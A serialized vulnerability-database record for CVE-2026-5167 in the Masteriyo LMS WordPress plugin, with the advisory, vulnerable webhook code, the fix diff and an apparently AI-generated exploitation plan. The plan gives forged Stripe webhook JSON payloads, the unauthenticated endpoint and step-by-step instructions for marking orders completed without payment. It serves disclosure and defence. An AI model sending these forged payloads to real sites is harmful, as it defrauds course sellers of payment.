[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f7taqp7BwHAGivrwg5272ez_x_wnOj-X4ipSYBO6IupM":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-5167","masteriyo-lms-unauthenticated-authorization-bypass-to-arbitrary-order-completion-via-stripe-webhook-endpoint","Masteriyo LMS \u003C= 2.1.7 - Unauthenticated Authorization Bypass to Arbitrary Order Completion via Stripe Webhook Endpoint","The Masteriyo LMS – Online Course Builder for eLearning, LMS & Education plugin for WordPress is vulnerable to Authorization Bypass Through User-Controlled Key in versions up to and including 2.1.7. This is due to insufficient webhook signature verification in the handle_webhook() function. The webhook endpoint processes unauthenticated requests and only performs signature verification if both the webhook_secret setting is configured AND the HTTP_STRIPE_SIGNATURE header is present. Since webhook_secret defaults to an empty string, the webhook processes attacker-controlled JSON payloads without any verification. This makes it possible for unauthenticated attackers to send fake Stripe webhook events with arbitrary order_id values in the metadata, mark any order as completed without payment, and gain unauthorized access to paid course content.","learning-management-system",null,"\u003C=2.1.7","2.1.8","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Authorization Bypass Through User-Controlled Key","2026-04-07 17:55:41","2026-04-08 06:43:41",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fb6d51dc3-b695-4e9d-b25a-d1b302be1fec?source=api-prod",1,[22,23,24,25,26,27,28,29],"addons\u002Fgoogle-meet\u002Fjs\u002Finteractive\u002FMeetingTimer.tsx","addons\u002Fstripe\u002FStripeAddon.php","addons\u002Fstripe\u002Fcomponents\u002FStripeGlobalSettings.tsx","assets\u002Fjs\u002Fbuild\u002Fmasteriyo-backend.asset.php","assets\u002Fjs\u002Fbuild\u002Fmasteriyo-backend.js","assets\u002Fjs\u002Fbuild\u002Fmasteriyo-interactive.asset.php","assets\u002Fjs\u002Fbuild\u002Fmasteriyo-interactive.js","changelog.txt","researched",false,3,"# Exploitation Research Plan: CVE-2026-5167 - Masteriyo LMS Authorization Bypass\n\n## 1. Vulnerability Summary\nThe **Masteriyo LMS** plugin (versions \u003C= 2.1.7) contains an authorization bypass in its Stripe webhook handling logic. The vulnerability resides in the `Masteriyo\\Addons\\Stripe\\StripeAddon::handle_webhook()` function. \n\nThe core issue is a \"fail-open\" logic in signature verification. The plugin only attempts to verify the `Stripe-Signature` header if a `webhook_secret` is configured in the plugin settings **and** the signature header is provided in the request. By default, the `webhook_secret` is an empty string. If an attacker sends a request without the signature header or targets a site with no secret configured, the plugin skips verification entirely and processes the JSON payload. An attacker can thus supply a forged Stripe event (e.g., `checkout.session.completed`) containing an arbitrary `order_id` in the metadata, causing the plugin to mark the order as \"Completed\" and grant access to paid courses without payment.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `POST \u002Fwp-admin\u002Fadmin-ajax.php?action=masteriyo_stripe_webhook`\n- **Authentication:** Unauthenticated (registered via `wp_ajax_nopriv_masteriyo_stripe_webhook`).\n- **Payload Format:** JSON in the HTTP Request Body (Raw POST).\n- **Vulnerable Parameter:** `data.object.metadata.order_id` (within the JSON payload).\n- **Preconditions:** \n    1. The Stripe addon must be active (it is a core-distributed addon in newer versions).\n    2. A valid `order_id` (post ID of a `masteriyo_order`) must be known or guessed.\n\n## 3. Code Flow\n1. **Entry Point:** An unauthenticated `POST` request hits `admin-ajax.php` with the `action=masteriyo_stripe_webhook` parameter.\n2. **Hook Execution:** WordPress triggers the action `wp_ajax_nopriv_masteriyo_stripe_webhook`, which calls `Masteriyo\\Addons\\Stripe\\StripeAddon->handle_webhook()`.\n3. **Missing Verification:** Inside `handle_webhook()`:\n    - The code fetches the `webhook_secret` using `Setting::get( 'webhook_secret' )`.\n    - It checks if the `HTTP_STRIPE_SIGNATURE` header is present.\n    - If the secret is empty (default) or the header is missing, it bypasses the `Stripe\\Webhook::constructEvent()` call (which would otherwise validate the payload).\n4. **Processing Payload:** The code parses the raw POST body: `$payload = json_decode( file_get_contents( 'php:\u002F\u002Finput' ), true );`.\n5. **Authorization Bypass:** It extracts the `order_id` from `$payload['data']['object']['metadata']['order_id']`.\n6. **Sink:** The plugin calls internal order completion logic (likely `masteriyo_update_order_status` or similar) to change the status of the `masteriyo_order` post to `completed`.\n\n## 4. Nonce Acquisition Strategy\nAccording to the vulnerability description and standard webhook implementation patterns, the `masteriyo_stripe_webhook` AJAX action **does not require a WordPress nonce**. \n- Webhooks are designed for external service consumption (Stripe), which cannot generate or provide WordPress nonces.\n- The registration in `init_hooks()` confirms this:\n  ```php\n  add_action( 'wp_ajax_masteriyo_stripe_webhook', array( $this, 'handle_webhook' ) );\n  add_action( 'wp_ajax_nopriv_masteriyo_stripe_webhook', array( $this, 'handle_webhook' ) );\n  ```\n- Standard AJAX security (`check_ajax_referer`) is absent in these specific handlers.\n\n## 5. Exploitation Strategy\n\n### Step 1: Create a Pending Order\nAs an unauthenticated user, navigate to a course page and initiate a checkout to create a `masteriyo_order` in \"Pending\" status.\n- Alternatively, use WP-CLI to identify an existing pending order for testing.\n\n### Step 2: Forge the Stripe Webhook Payload\nConstruct a JSON payload that mimics a successful Stripe Checkout Session completion.\n\n**Payload Template:**\n```json\n{\n  \"id\": \"evt_fake_123\",\n  \"object\": \"event\",\n  \"type\": \"checkout.session.completed\",\n  \"data\": {\n    \"object\": {\n      \"id\": \"cs_test_fake\",\n      \"object\": \"checkout.session\",\n      \"payment_status\": \"paid\",\n      \"status\": \"complete\",\n      \"metadata\": {\n        \"order_id\": \"REPLACE_WITH_ACTUAL_ORDER_ID\"\n      }\n    }\n  }\n}\n```\n\n### Step 3: Execute the Bypass\nSend the payload to the AJAX endpoint using `http_request`.\n\n- **URL:** `http:\u002F\u002F[target]\u002Fwp-admin\u002Fadmin-ajax.php?action=masteriyo_stripe_webhook`\n- **Method:** `POST`\n- **Headers:** `Content-Type: application\u002Fjson` (Do NOT include `Stripe-Signature`).\n- **Body:** The JSON payload from Step 2.\n\n## 6. Test Data Setup\n1. **Create Course:** Create a paid course in Masteriyo.\n   - `wp post create --post_type=masteriyo-course --post_title=\"Premium Course\" --post_status=publish`\n2. **Set Price:** Ensure the course has a price associated so an order is required.\n3. **Create Order:** Manually create a pending order for a test user or capture one via the frontend.\n   - `wp post create --post_type=masteriyo_order --post_status=masteriyo-pending --post_title=\"Order #123\"`\n   - Note the returned ID (e.g., `123`).\n\n## 7. Expected Results\n- The server should return a `200 OK` or `204 No Content` response (or a JSON success message common in AJAX handlers).\n- The internal order status for the specified `order_id` will transition from `masteriyo-pending` to `masteriyo-completed`.\n- The user associated with the order (or the guest email) will be granted enrollment in the course.\n\n## 8. Verification Steps\nAfter the `http_request`, verify the database state using WP-CLI:\n\n```bash\n# Check the post status of the order\nwp post get [ORDER_ID] --field=post_status\n\n# Expected: masteriyo-completed (or just 'completed' depending on internal mapping)\n```\n\nCheck enrollment:\n```bash\n# Check if the user ID associated with the order now has enrollment meta\nwp post list --post_type=masteriyo-enrollment\n```\n\n## 9. Alternative Approaches\nIf `checkout.session.completed` is not the specific event handled by the version under test, try other common Stripe events used by the plugin:\n1. `payment_intent.succeeded`\n2. `charge.succeeded`\n\nAdjust the JSON path for `order_id` accordingly (e.g., `$payload['data']['object']['metadata']['order_id']` vs `$payload['metadata']['order_id']`). Based on `StripeAddon.php` context, `metadata` is usually nested within the `object` field in Stripe's V1 API events.\n\n**Payload Variant (`payment_intent.succeeded`):**\n```json\n{\n  \"type\": \"payment_intent.succeeded\",\n  \"data\": {\n    \"object\": {\n      \"id\": \"pi_fake_123\",\n      \"metadata\": {\n        \"order_id\": \"REPLACE_WITH_ACTUAL_ORDER_ID\"\n      }\n    }\n  }\n}\n```","The Masteriyo LMS plugin is vulnerable to an authorization bypass because it fails to strictly enforce Stripe webhook signature verification. If the webhook secret is not configured or the signature header is missing, the plugin falls back to processing unverified JSON payloads, allowing unauthenticated attackers to mark any order as completed and gain access to paid courses.","\u002F\u002F addons\u002Fstripe\u002FStripeAddon.php (v2.1.7)\n\tpublic function handle_webhook() {\n\t\ttry {\n\t\t\tmasteriyo_get_logger()->info( 'Stripe webhook triggered.', array( 'source' => 'payment-stripe' ) );\n\n\t\t\t$sig_header     = isset( $_SERVER['HTTP_STRIPE_SIGNATURE'] ) ? $_SERVER['HTTP_STRIPE_SIGNATURE'] : null;\n\t\t\t$payload        = @file_get_contents( 'php:\u002F\u002Finput' ); \u002F\u002F phpcs:disable WordPress.PHP.NoSilencedErrors.Discouraged\n\t\t\t$event          = null;\n\t\t\t$order          = null;\n\t\t\t$webhook_secret = Setting::get_webhook_secret();\n\n\t\t\tif ( empty( $payload ) ) {\n\t\t\t\tmasteriyo_get_logger()->error( 'Stripe webhook payload is empty.', array( 'source' => 'payment-stripe' ) );\n\t\t\t\tthrow new Exception( esc_html__( 'Payload is empty.', 'learning-management-system' ), 400 );\n\t\t\t}\n\n\t\t\tif ( ! empty( $webhook_secret ) ) {\n\t\t\t\tif ( empty( $sig_header ) ) {\n\t\t\t\t\tmasteriyo_get_logger()->error( 'Stripe webhook: Stripe-Signature header is missing.', array( 'source' => 'payment-stripe' ) );\n\t\t\t\t\tthrow new Exception( esc_html__( 'Stripe-Signature header is missing.', 'learning-management-system' ), 400 );\n\t\t\t\t}\n\n\t\t\t\tif ( apply_filters( 'masteriyo_stripe_validate_webhook', true ) ) {\n\t\t\t\t\t$event = Webhook::constructEvent( $payload, $sig_header, $webhook_secret );\n\t\t\t\t} else {\n\t\t\t\t\t$event = \\Stripe\\Event::constructFrom( json_decode( $payload, true ) );\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tmasteriyo_get_logger()->warning( 'Stripe webhook: no webhook secret configured, skipping signature verification.', array( 'source' => 'payment-stripe' ) );\n\t\t\t\t$event = \\Stripe\\Event::constructFrom( json_decode( $payload, true ) );\n\t\t\t}\n\n\t\t\tif ( ! $event ) {\n\t\t\t\tmasteriyo_get_logger()->error( 'Stripe webhook event is null.', array( 'source' => 'payment-stripe' ) );\n\t\t\t\tthrow new Exception( esc_html__( 'Event is null.', 'learning-management-system' ), 400 );\n\t\t\t}","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flearning-management-system\u002F2.1.7\u002Faddons\u002Fstripe\u002FStripeAddon.php\t2026-03-11 07:27:38.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flearning-management-system\u002F2.1.8\u002Faddons\u002Fstripe\u002FStripeAddon.php\t2026-04-06 04:47:00.000000000 +0000\n@@ -109,6 +109,7 @@\n \n \t\tadd_action( 'wp_ajax_masteriyo_stripe_connect', array( $this, 'stripe_connect' ) );\n \t\tadd_action( 'admin_head', array( $this, 'save_stripe_account' ) );\n+\t\tadd_action( 'masteriyo_admin_notices', array( $this, 'show_webhook_secret_notice' ) );\n \t\tadd_filter( 'masteriyo_migrations_paths', array( $this, 'append_migrations' ) );\n \t}\n \n@@ -565,84 +566,71 @@\n \t\ttry {\n \t\t\tmasteriyo_get_logger()->info( 'Stripe webhook triggered.', array( 'source' => 'payment-stripe' ) );\n \n-\t\t\t$sig_header     = isset( $_SERVER['HTTP_STRIPE_SIGNATURE'] ) ? $_SERVER['HTTP_STRIPE_SIGNATURE'] : null;\n-\t\t\t$payload        = @file_get_contents( 'php:\u002F\u002Finput' ); \u002F\u002F phpcs:disable WordPress.PHP.NoSilencedErrors.Discouraged\n-\t\t\t$event          = null;\n-\t\t\t$order          = null;\n-\t\t\t$webhook_secret = Setting::get_webhook_secret();\n-\n-\t\t\tif ( empty( $payload ) ) {\n-\t\t\t\tmasteriyo_get_logger()->error( 'Stripe webhook payload is empty.', array( 'source' => 'payment-stripe' ) );\n-\t\t\t\tthrow new Exception( esc_html__( 'Payload is empty.', 'learning-management-system' ), 400 );\n-\t\t\t}\n-\n-\t\t\tif ( ! empty( $webhook_secret ) ) {\n-\t\t\t\tif ( empty( $sig_header ) ) {\n-\t\t\t\t\tmasteriyo_get_logger()->error( 'Stripe webhook: Stripe-Signature header is missing.', array( 'source' => 'payment-stripe' ) );\n-\t\t\t\t\tthrow new Exception( esc_html__( 'Stripe-Signature header is missing.', 'learning-management-system' ), 400 );\n-\t\t\t\t}\n+\t\t\t\u002F\u002F Validate and parse webhook request.\n+\t\t\t$sig_header = $this->get_stripe_signature_header();\n+\t\t\t$payload    = $this->get_webhook_payload();\n \n-\t\t\t\t\u002F**\n-\t\t\t\t * Filters whether to validate the webhook secret or not.\n-\t\t\t\t *\n-\t\t\t\t * @since 1.14.0\n-\t\t\t\t *\u002F\n-\t\t\t\tif ( apply_filters( 'masteriyo_stripe_validate_webhook', true ) ) {\n-\t\t\t\t\t$event = Webhook::constructEvent( $payload, $sig_header, $webhook_secret );\n-\t\t\t\t} else {\n-\t\t\t\t\t$event = \\Stripe\\Event::constructFrom( json_decode( $payload, true ) );\n-\t\t\t\t}\n-\t\t\t} else {\n-\t\t\t\tmasteriyo_get_logger()->warning( 'Stripe webhook: no webhook secret configured, skipping signature verification.', array( 'source' => 'payment-stripe' ) );\n-\t\t\t\t$event = \\Stripe\\Event::constructFrom( json_decode( $payload, true ) );\n-\t\t\t}\n-\n-\t\t\tif ( ! $event ) {\n-\t\t\t\tmasteriyo_get_logger()->error( 'Stripe webhook event is null.', array( 'source' => 'payment-stripe' ) );\n-\t\t\t\tthrow new Exception( esc_html__( 'Event is null.', 'learning-management-system' ), 400 );\n-\t\t\t}\n+\t\t\t\u002F\u002F Verify webhook signature and construct event.\n+\t\t\t$event = $this->construct_and_verify_webhook_event( $payload, $sig_header );\n \n-\t\t\t$result = array();\n-\t\t\tif ( masteriyo_starts_with( $event->type, 'payment_intent' ) ) {\n-\t\t\t\t$payment_intent = $event->data->object;\n+\t\t\t\u002F\u002F Process webhook event.\n+\t\t\t$result = $this->process_webhook_event( $event );\n \n-\t\t\t\tif ( ! $payment_intent ) {\n-\t\t\t\t\tmasteriyo_get_logger()->error( 'Stripe webhook payment intent is null.', array( 'source' => 'payment-stripe' ) );\n-\t\t\t\t\tthrow new Exception( esc_html__( 'Payment intent is null.', 'learning-management-system' ), 400 );\n-\t\t\t\t}\n-\n-\t\t\t\tif ( isset( $payment_intent->metadata->order_id ) ) {\n-\t\t\t\t\t$order_id = $payment_intent->metadata->order_id;\n-\t\t\t\t\t$order    = masteriyo_get_order( $order_id );\n-\t\t\t\t\t$result   = $this->handle_payment_intent_webhook( $event, $order );\n-\t\t\t\t}\n-\t\t\t}\n-\t\t\tmasteriyo_get_logger()->info( 'Stripe webhook completed.', array( 'source' => 'payment-stripe' ) );\n+\t\t\tmasteriyo_get_logger()->info( 'Stripe webhook completed successfully.', array( 'source' => 'payment-stripe' ) );\n \t\t\twp_send_json_success( $result );\n \t\t} catch ( UnexpectedValueException $e ) {\n \t\t\tmasteriyo_get_logger()->error( $e->getMessage(), array( 'source' => 'payment-stripe' ) );\n-\t\t\tif ( $order ) {\n-\t\t\t\t$order->add_order_note(\n-\t\t\t\t\tesc_html__( 'Stripe invalid event type.', 'learning-management-system' )\n-\t\t\t\t);\n-\t\t\t}\n-\n-\t\t\twp_send_json_error( array( 'message' => $e->getMessage() ), $e->getCode() );\n+\t\t\twp_send_json_error( array( 'message' => $e->getMessage() ), 400 );\n \t\t} catch ( SignatureVerificationException $e ) {\n \t\t\tmasteriyo_get_logger()->error( $e->getMessage(), array( 'source' => 'payment-stripe' ) );\n-\t\t\tif ( $order ) {\n-\t\t\t\t$order->add_order_note(\n-\t\t\t\t\tesc_html__( 'Stripe webhook signature verification failed.', 'learning-management-system' )\n-\t\t\t\t);\n-\t\t\t}\n-\n-\t\t\twp_send_json_error( array( 'message' => $e->getMessage() ), $e->getCode() );\n+\t\t\twp_send_json_error( array( 'message' => $e->getMessage() ), 403 );\n+\t\t} catch ( Exception $e ) {\n+\t\t\tmasteriyo_get_logger()->error( $e->getMessage(), array( 'source' => 'payment-stripe' ) );\n+\t\t\t$http_code = in_array( $e->getCode(), array( 400, 403, 404, 500 ), true ) ? $e->getCode() : 400;\n+\t\t\twp_send_json_error( array( 'message' => $e->getMessage() ), $http_code );\n \t\t}\n \t}","1. Identify a pending Masteriyo order ID (e.g., by initiating a checkout for a course).\n2. Construct a JSON payload that mimics a Stripe `payment_intent.succeeded` or `checkout.session.completed` event.\n3. In the payload's metadata field, set the `order_id` to the target pending order ID.\n4. Send an unauthenticated POST request to the WordPress AJAX endpoint: `\u002Fwp-admin\u002Fadmin-ajax.php?action=masteriyo_stripe_webhook`.\n5. Omit the `Stripe-Signature` HTTP header in the request.\n6. Because the plugin defaults to skipping verification when the header is missing or the secret is unconfigured, it will parse the JSON via `Stripe\\Event::constructFrom` and proceed to update the order status to 'completed', granting enrollment access.","gemini-3-flash-preview","2026-04-17 20:32:04","2026-04-17 20:32:26",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","2.1.7","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flearning-management-system\u002Ftags\u002F2.1.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Flearning-management-system.2.1.7.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flearning-management-system\u002Ftags\u002F2.1.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Flearning-management-system.2.1.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flearning-management-system\u002Ftags"]